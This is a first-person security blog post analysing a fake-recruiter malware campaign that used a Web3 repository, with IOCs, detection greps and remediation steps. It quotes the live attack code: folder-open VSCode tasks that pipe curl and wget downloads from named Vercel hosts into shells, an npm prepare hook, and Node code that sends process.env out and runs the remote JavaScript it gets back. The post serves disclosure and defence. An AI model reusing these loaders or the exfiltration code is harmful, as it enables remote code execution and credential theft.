I had a fake job interview. It was a malware delivery chain.
A fake recruiter tried to turn VSCode workspace trust into silent code execution. Here is the attack chain, the infrastructure, and the IOCs.

2026-04-29 — A fake recruiter tried to walk me into opening a malicious VSCode workspace.
I refused, preserved the artifacts, mapped the infrastructure, and submitted the IOCs to public threat-intel feeds.
TL;DR
Today I was invited to what looked like a normal Google Meet job interview.
The recruiter asked me to review a Web3 poker/casino repository and open it in VSCode.
I did not.
Instead, I inspected the repository in the browser first and found a malicious .vscode/tasks.json file.
The repository was configured to execute shell commands automatically when the folder is opened in VSCode after Workspace Trust is granted:
Linux:
wget ... | shmacOS:
curl ... | bashWindows:
curl ... | cmd
The commands were visually hidden by pushing the "command" field more than 200 columns to the right with whitespace padding.
The payloads were hosted on rotating Vercel subdomains under /api/settings/{linux,mac,windows}.
Further analysis showed a second execution path through npm install, a BeaverTail-style Node.js RCE/exfil chain hidden behind a base64-encoded .env value, and infrastructure rotating across at least 16 Vercel-hosted projects since January 2026.
I submitted the indicators and infrastructure reports to:
abuse.ch ThreatFox
abuse.ch URLhaus
GitHub Trust & Safety
Vercel Trust & Safety
LinkedIn Trust & Safety
Vercel has acknowledged the abuse report under case number 01139817.
GitHub has acknowledged the repository abuse report under support ticket #4339052.
This is the lesson:
Opening an unknown repository in a modern developer tool is not a passive action anymore.
The old mental model was:
"I did not run the code, I only opened the project."
That model is broken.
The real question is:
"Did my tooling trust the project?"
How it started
On 2026-04-13, I received a LinkedIn InMail from a profile using the name:
John Armour Lamont
CEO & Founder | Climate action through Technology
The message looked like ordinary recruiter outreach:
DevSecOps
security architecture
Kubernetes
CI/CD
scalable infrastructure
Web3 platform
DevSecOps Lead / Solution Architect
All of that matches my public LinkedIn profile closely enough to feel plausible.
But the message also had the classic smell of a generic lure:
no company name
no product name
no founder names
no funding source
no concrete architecture
no concrete chain
no real technical framing
I asked for details before scheduling anything.
The answer stayed vague:
"The MVP is completed, and we've secured initial funding $6M."
"The team is lean but growing."
"We're leveraging EVM compatible chains."
"It would be better to discuss this during the meeting."
That is not proof of malice.
But it is exactly the kind of vague-but-plausible language that works well in recruiter pretexts.
A few Calendly links later, we scheduled the call.
The thing that saved me
Two days before the interview, I read a Reddit post about a Claude Code proof-of-concept by Zhangir Ospanov.
The PoC is here:
https://github.com/s0ld13rr/claude-code-backdoor
The core point was simple:
Claude Code can execute project-local hooks from .claude/settings.json when a trusted project starts.
That is not a magic exploit. It is tool behavior.
But the security boundary matters.
The dangerous situation is not:
"I ran the malware."
The dangerous situation is:
"I opened an untrusted project inside a tool that can execute project-local automation."
That same pattern exists across modern developer tooling:
.vscode/tasks.json.claude/settings.jsonCursor / Windsurf project configs
package.jsonscriptspreinstall/postinstall/prepareMakefiles
Git hooks
Docker Compose files
CI configs
language-server initialization paths
I made a mental note:
If somebody asks me to open an unfamiliar repository in any IDE, inspect the project automation files first.
Two days later, that note mattered.
The interview
On 2026-04-29, the Google Meet call started normally.
We talked about my background. There were no meaningful technical questions. No architecture discussion. No real DevSecOps interview.
Then, about 25 minutes in, the recruiter sent the repository:
https://github.com/Novara1o1/jackpot
The project looked like a Web3 poker/casino application.
The README looked plausible. The repository had history. The stack looked believable:
React
Next.js
Solidity
Hardhat
ethers.js
MongoDB
SettleMint references
I said:
"This is JavaScript. I mostly do Python."
The answer:
"That's fine. Just review it. Could you open it in VSCode?"
That was the trigger.
Why VSCode specifically?
I had already told him I use PyCharm.
A normal interviewer would not care which editor I use for a superficial review.
But this repository cared.
So I did not open it in VSCode.
I inspected it in the browser.
Then I went straight to .vscode/.
The VSCode trap
The repository contained a .vscode/tasks.json file with folder-open tasks.
Simplified, the relevant part looked like this:
{
"version": "2.0.0",
"tasks": [
{
"label": "install-root-modules",
"type": "shell",
"command": "npm install --silent --no-progress",
"runOptions": {
"runOn": "folderOpen"
},
"presentation": {
"reveal": "silent",
"echo": false,
"focus": false,
"panel": "new",
"showReuseMessage": false,
"clear": true
}
},
{
"label": "env",
"type": "shell",
"linux": {
"command": "wget -qO- 'https://ip-address-check-mo.vercel.app/api/settings/linux' | sh"
},
"osx": {
"command": "curl -L 'https://ip-address-check-mo.vercel.app/api/settings/mac' | bash"
},
"windows": {
"command": "curl --ssl-no-revoke -L https://ip-address-check-mo.vercel.app/api/settings/windows | cmd"
},
"presentation": {
"reveal": "silent",
"echo": false,
"focus": false,
"close": true,
"panel": "new",
"showReuseMessage": false,
"clear": true
},
"runOptions": {
"runOn": "folderOpen"
}
}
]
}
The important part is not only the command.
The important part is the interaction:
"runOptions": {
"runOn": "folderOpen"
}
combined with:
"presentation": {
"reveal": "silent",
"echo": false,
"focus": false,
"close": true
}
This means:
The task is eligible to run when the folder opens.
After Workspace Trust is granted, the shell command can execute.
The terminal output is suppressed or hidden.
The command is not clearly surfaced as a separate, explicit security decision.
And then there is the visual trick:
The "command" field was pushed far to the right with whitespace.
In the sample I analyzed, the malicious command began after more than 200 ASCII spaces.
The repository's .vscode/settings.json also set:
{
"editor.wordWrap": "off"
}
So a casual reviewer opening the file in VSCode sees a harmless-looking structure and may not visually notice the command at all.
This is not clever cryptography.
It is better than that.
It abuses developer habit.
Why this works
The attacker does not need to convince the developer to run malware.
They only need to convince the developer to follow a normal workflow:
clone repo
open folder
trust workspace
let tooling initialize
That is the real trust-boundary failure.
The human thinks:
"I am just opening the project."
The tool thinks:
"This workspace is trusted, so project automation can run."
The attacker thinks:
"Perfect."
This is the same class of problem as:
Claude Code hooks in
.claude/settings.jsonpackage manager lifecycle scripts
Makefile targets
Git hooks
CI workflow files
language-specific project bootstrap files
The security boundary is no longer:
Did I manually execute the application?
The security boundary is:
Did my tooling trust the project?
The first payload layer: Vercel-hosted stagers
The active lure repository referenced this domain:
ip-address-check-mo.vercel.app
with OS-specific endpoints:
/api/settings/linux
/api/settings/mac
/api/settings/windows
The commands used the classic download-and-execute pattern:
wget -qO- 'https://ip-address-check-mo.vercel.app/api/settings/linux' | sh
curl -L 'https://ip-address-check-mo.vercel.app/api/settings/mac' | bash
curl --ssl-no-revoke -L https://ip-address-check-mo.vercel.app/api/settings/windows | cmd
That is not a settings API.
That is a staged execution path.
During the investigation, I mapped a rotating set of Vercel-hosted projects used by the same campaign pattern.
The Stage-1 stager infrastructure observed so far:
| Date | Stager domain |
|---|---|
| 2026-04-28 | ip-address-check-mo.vercel.app |
| 2026-04-20 | vscode-address-checking-mo.vercel.app |
| 2026-04-13 | ip-address-check1.vercel.app.vercel.app |
| 2026-04-07 | vscode-ip-checking-nine.vercel.app |
| 2026-03-31 | ip-address-vscode-checking.vercel.app |
| 2026-03-17 | vscode-ipaddress-checking-nine.vercel.app |
| 2026-03-16 | vscode-ipaddress-checking.vercel.app |
| 2026-03-13 | vscode-ip-address-checking-ten.vercel.app |
| 2026-03-13 | vscode-ip-address-checking.vercel-ten.app |
| 2026-03-02 | vscode-ip-address-checking.vercel.app |
| 2026-03-02 | vscode-ip-addess-checking.vercel.app |
| 2026-02-27 | vscode-settings-tasks-227.vercel.app |
| 2026-02-23 | vscode-ipchecking.vercel.app |
| 2026-02-20 | vscode-settings-tasks-json.vercel.app |
| 2026-02-03 | vscodesetting-task.vercel.app |
| 2026-01-27 | vscodesettingtask.vercel.app |
There are obvious operator mistakes in that list:
doubled
.vercel.appvercel-ten.appinstead of.vercel.appaddessinstead ofaddress
That matters.
Typos are often better pivot material than perfect infrastructure.
They show manual editing, copy/paste drift, and operational pressure.
The second payload layer: npm lifecycle execution
The VSCode path was not the only execution vector.
The repository also carried an npm-based path.
In package.json:
"scripts": {
"start": "node server/server.js | react-scripts --openssl-legacy-provider start",
"build": "node server/server.js | react-scripts --openssl-legacy-provider build",
"test": "node server/server.js | react-scripts --openssl-legacy-provider test",
"eject": "node server/server.js | react-scripts --openssl-legacy-provider eject",
"prepare": "node server/server.js"
}
The dangerous one is:
"prepare": "node server/server.js"
prepare is an npm lifecycle script.
So if the victim does not open the project in VSCode but instead runs:
npm install
the server-side JavaScript still executes.
That gives the attacker two chances:
IDE auto-execution via
.vscode/tasks.jsonnpm lifecycle execution via
prepare
This is exactly how good malware chains are built.
They do not rely on one path.
They layer normal developer behaviors until one of them fires.
The third layer: BeaverTail-style Node.js RCE and environment exfiltration
The repository also contained a hidden runtime chain in the application code.
In server/routes/api/auth.js, simplified:
const verified = validateApiKey();
if (!verified) {
console.log("Aborting mempool scan due to failed API verification.");
return;
}
async function validateApiKey() {
verify(setApiKey(process.env.AUTH_API))
.then((response) => {
const executor = new Function("require", response.data);
executor(require);
return true;
})
.catch((err) => {
return false;
});
}
In server/controllers/auth.js:
const setApiKey = (s) => atob(s);
const verify = (api) =>
axios.post(api, { ...process.env }, {
headers: {
"x-app-request": "ip-check"
}
});
What this does:
Reads
process.env.AUTH_APIBase64-decodes it
POSTs the entire
process.envto the decoded URLReceives JavaScript code as response
Executes that code with:
new Function("require", response.data)
That is full Node.js RCE.
It also exfiltrates the victim's environment variables.
The .env file is designed to look harmless:
NODE_ENV=development
PORT=3000
ALCHEMY_API_KEY=demo-alchemy-0123456789abcdef
ETHERSCAN_API_KEY=etherscan_demo_ABC123DEF456
POLYGONSCAN_API_KEY=polygonscan_demo_ABC123DEF456
INFURA_IPFS_PROJECT_ID=infura-ipfs-demo-112233
OPENAI_API_KEY=sk-test_OpenAIkey1234567890
PINATA_API_KEY=pinata_test_key_9876543210
STRIPE_SECRET_KEY=sk_test_STRIPEKEY123456
COINBASE_COMMERCE_API_KEY=cc_test_COINBASE12345
AUTH_API=aHR0cHM6Ly95LWhhemVsLXRlbi52ZXJjZWwuYXBwL2FwaQ==
AWS_ACCESS_KEY_ID=AKIAEXAMPLE12345
AWS_SECRET_ACCESS_KEY=SecretKeyExample/AbC1234567890
Most values are obvious demo placeholders.
One value is not.
AUTH_API=aHR0cHM6Ly95LWhhemVsLXRlbi52ZXJjZWwuYXBwL2FwaQ==
Decoded:
https://y-hazel-ten.vercel.app/api
That is a second Vercel-hosted endpoint, separate from the VSCode stager rotation.
So the repository contains at least two distinct malicious infrastructure paths:
Stage-1 OS-specific shell stagers under
/api/settings/{linux,mac,windows}Stage-2 BeaverTail-style Node.js RCE/exfil endpoint under
/api
The fake x-app-request: ip-check header is there to make the traffic look like a harmless IP or environment check.
It is not harmless.
It sends the victim's environment to the operator.
Why I classify this as Contagious-Interview-style tradecraft
I am careful with attribution.
I cannot prove who sat behind the keyboard during my call.
The LinkedIn profile may be fake, compromised, impersonated, or operated by the attacker.
But the tradecraft strongly overlaps with publicly documented Contagious Interview activity:
fake recruiter outreach
Web3 / crypto / casino / blockchain lure projects
GitHub-hosted project repositories
developer asked to open the project locally
npm lifecycle execution paths
JavaScript malware
BeaverTail-style code patterns
base64-obfuscated C2 endpoint
environment-variable exfiltration
remote JavaScript execution via
new FunctionVercel-hosted rotating infrastructure
short-lived operator accounts
That is the important point.
Whether the exact operator label is Lazarus, Sapphire Sleet, DEV#POPPER, CL-STA-0240, OtterCookie, or another overlapping cluster is less important for defenders than the execution pattern.
The practical defensive message is the same:
Fake job interviews are being used to get developers to execute malware through normal project tooling.
What I reported
I submitted the malicious repository and infrastructure to the relevant platforms.
Vercel Trust & Safety
Vercel acknowledged the report under case number:
01139817
The report covered:
15 Stage-1 Vercel stager domains
1 Stage-2 BeaverTail-style RCE/exfil endpoint
shared URL pattern
/api/settings/{linux,mac,windows}likely shared operator naming patterns
known GitHub-attributed operator emails
ThreatFox and URLhaus references
The requested actions were:
Take down the listed malicious projects
Block redeployment by related operator accounts
Hunt for sister projects using the same naming and endpoint patterns
Preserve metadata for correlation with abuse.ch / law enforcement where appropriate
GitHub Trust & Safety
GitHub acknowledged the report under support ticket:
#4339052
Reported repository:
https://github.com/Novara1o1/jackpot
Reason:
malicious
.vscode/tasks.jsonrunOn: folderOpensilent shell stager execution
npm lifecycle execution path
BeaverTail-style Node.js RCE/exfil chain
LinkedIn Trust & Safety
Reported the recruiter profile as potentially:
fake
compromised
impersonated
used as part of a recruiting malware campaign
I am deliberately not stating that the real-world person named on the profile is the attacker.
That is important.
The profile is part of the observed attack chain.
The identity behind it is a separate question.
VSCode hardening note
I am not treating this as a VSCode vulnerability claim in this article.
Workspace Trust is a real security boundary, and the attacker still needs the victim to grant trust.
But the user experience is still worth discussing because this campaign abuses the gap between two different mental models.
A user can interpret "I trust the authors" as:
"I trust this repository enough to inspect it."
A developer tool can interpret it as:
"Project-local automation may execute."
Those are not the same decision.
For runOn: folderOpen shell tasks, a safer design would require explicit per-task approval and display the complete command before first execution.
Especially when the task uses:
"presentation": {
"reveal": "silent",
"echo": false,
"focus": false,
"close": true
}
The important defensive lesson is not "VSCode is broken."
The lesson is:
Project trust can become command execution. Treat it accordingly.
Public threat-intel
Indicators from this investigation were submitted to public abuse.ch feeds.
ThreatFox:
https://threatfox.abuse.ch/browse/tag/jackpot/
URLhaus:
https://urlhaus.abuse.ch/browse/tag/jackpot/
My ThreatFox profile:
https://threatfox.abuse.ch/user/12877/
The indicators include:
Vercel stager domains
active stager URLs
BeaverTail-style endpoint
malicious file hashes
campaign tag
jackpotmalware family tags where accepted by the platform
This matters because social-media warnings are useful, but structured threat-intel is ingestible.
Defenders can block it.
Researchers can pivot from it.
Platforms can correlate it.
That is the goal.
Detection ideas
Repository static checks
Before opening an unknown repository in any IDE, search for project-local execution surfaces:
find . -maxdepth 4 \( \
-path "*/.vscode/tasks.json" -o \
-path "*/.vscode/settings.json" -o \
-path "*/.claude/settings.json" -o \
-name "package.json" -o \
-name "Makefile" -o \
-path "*/.git/hooks/*" -o \
-name "docker-compose.yml" \
\) -print
Search for suspicious folder-open tasks:
grep -RInE '"runOn"[[:space:]]*:[[:space:]]*"folderOpen"|curl.*\|.*(sh|bash|cmd)|wget.*\|.*(sh|bash)' .
Search for JavaScript runtime-eval patterns:
grep -RInE 'new Function|eval\(|process\.env|axios\.post|atob\(' .
Search for base64-looking environment values:
grep -RInE '^[A-Z0-9_]+=[A-Za-z0-9+/]{30,}={0,2}$' .env* 2>/dev/null
Runtime detection ideas
Watch for editor or Node processes spawning network downloaders:
Code.exe / code
-> cmd.exe / powershell.exe / bash / sh
-> curl / wget
-> pipe to sh/bash/cmd
Watch for Node processes posting environment-sized payloads to unknown Vercel domains.
Watch for traffic to:
*.vercel.app/api/settings/linux
*.vercel.app/api/settings/mac
*.vercel.app/api/settings/windows
especially when launched by:
VSCode
Cursor
Windsurf
Claude Code
npm
node
bash
sh
cmd.exe
powershell.exe
Lessons learned
1. Unknown repositories are hostile until proven otherwise
Do not open unknown repositories directly in your normal IDE.
Not VSCode.
Not Cursor.
Not Windsurf.
Not Claude Code.
Not anything with project-level automation.
Use a plain text viewer, browser review, container, or VM first.
2. "Open this in VSCode" is now a security-relevant request
That sentence used to sound normal.
It is still normal in many contexts.
But in recruiter calls, freelance interviews, code-review lures, crypto projects, and "quick technical checks", it should raise your blood pressure a little.
Not panic.
Just friction.
A good answer is:
I do not open untrusted repositories directly in an IDE during calls.
I will inspect it offline in a controlled environment.
A real recruiter accepts that.
An attacker pushes back.
3. Trust prompts are not enough
The problem is not that users are stupid.
The problem is that the trust prompt asks the wrong question too broadly.
A user may trust a workspace enough to browse it.
That does not mean the user knowingly approved automatic shell execution.
Tooling needs finer-grained trust decisions.
Especially for:
shell tasks
lifecycle scripts
hooks
AI-agent startup hooks
commands downloaded from the network
commands piped into interpreters
4. AI coding tools have the same class of problem
This is bigger than VSCode.
The same trust-boundary issue exists in AI coding tools and agentic developer environments.
Project-local config is no longer just configuration.
It can be execution policy.
That includes files like:
.claude/settings.json
.vscode/tasks.json
.cursor/
.windsurf/
package.json
Makefile
.git/hooks/
docker-compose.yml
.github/workflows/
The security question is not:
Did I run the program?
The question is:
What did my tooling run for me?
5. Awareness works
I refused this attack because two days earlier I had read about the same trust-boundary problem in Claude Code through Zhangir Ospanov's PoC.
Different tool.
Same pattern.
That awareness changed my behavior at the exact right moment.
This is why I am linking his work directly:
So yes, sharing these findings matters.
Blog posts matter.
Reddit posts matter.
LinkedIn posts matter.
IOCs matter.
They put patterns into people's heads before the attacker reaches them.
If you were targeted
If you received recruiter outreach matching this pattern, or were asked to open the jackpot repository or a similar Web3 project in VSCode, treat it seriously.
If you only viewed the repository in a browser, you are likely fine.
If you downloaded the ZIP but did not open it in an IDE, run npm install, or execute scripts, you are likely fine.
If you opened it in VSCode and clicked Workspace Trust, or ran npm install, or started the app locally, treat the machine as potentially compromised.
Immediate steps:
Disconnect the machine from sensitive networks.
Preserve artifacts if you can do so safely.
Rotate credentials that were present in environment variables, shell config, npm config, cloud CLIs, wallet tooling, SSH agents, browser sessions, and developer secrets.
Check shell history, VSCode task history, npm logs, process execution logs, EDR telemetry, and outbound network logs.
Look for connections to Vercel
/api/settings/*endpoints andy-hazel-ten.vercel.app/api.Rebuild from a known-good state if execution is confirmed.
References
ThreatFox campaign tag:
jackpothttps://threatfox.abuse.ch/browse/tag/jackpot/URLhaus campaign tag:
jackpothttps://urlhaus.abuse.ch/browse/tag/jackpot/ThreatFox user profile:
https://threatfox.abuse.ch/user/12877/Zhangir Ospanov — LinkedIn:
https://www.linkedin.com/in/s0ld13r/Zhangir Ospanov — Claude Code backdoor PoC:
https://github.com/s0ld13rr/claude-code-backdoorVSCode Workspace Trust documentation:
https://code.visualstudio.com/docs/editing/workspaces/workspace-trustVSCode Tasks documentation:
https://code.visualstudio.com/docs/editor/tasks
Closing thought
This was not a "malicious repository" in the old sense.
It was a malicious developer workflow.
The repository did not need me to run the app.
It needed me to behave like a normal developer.
Open the folder.
Trust the workspace.
Let the tool initialize.
That is the attack.
And that is why this needs to be understood beyond this single case.
Follow me on GitHub, X and LinkedIn to stay updated on my latest releases. Your constructive feedback is always appreciated!





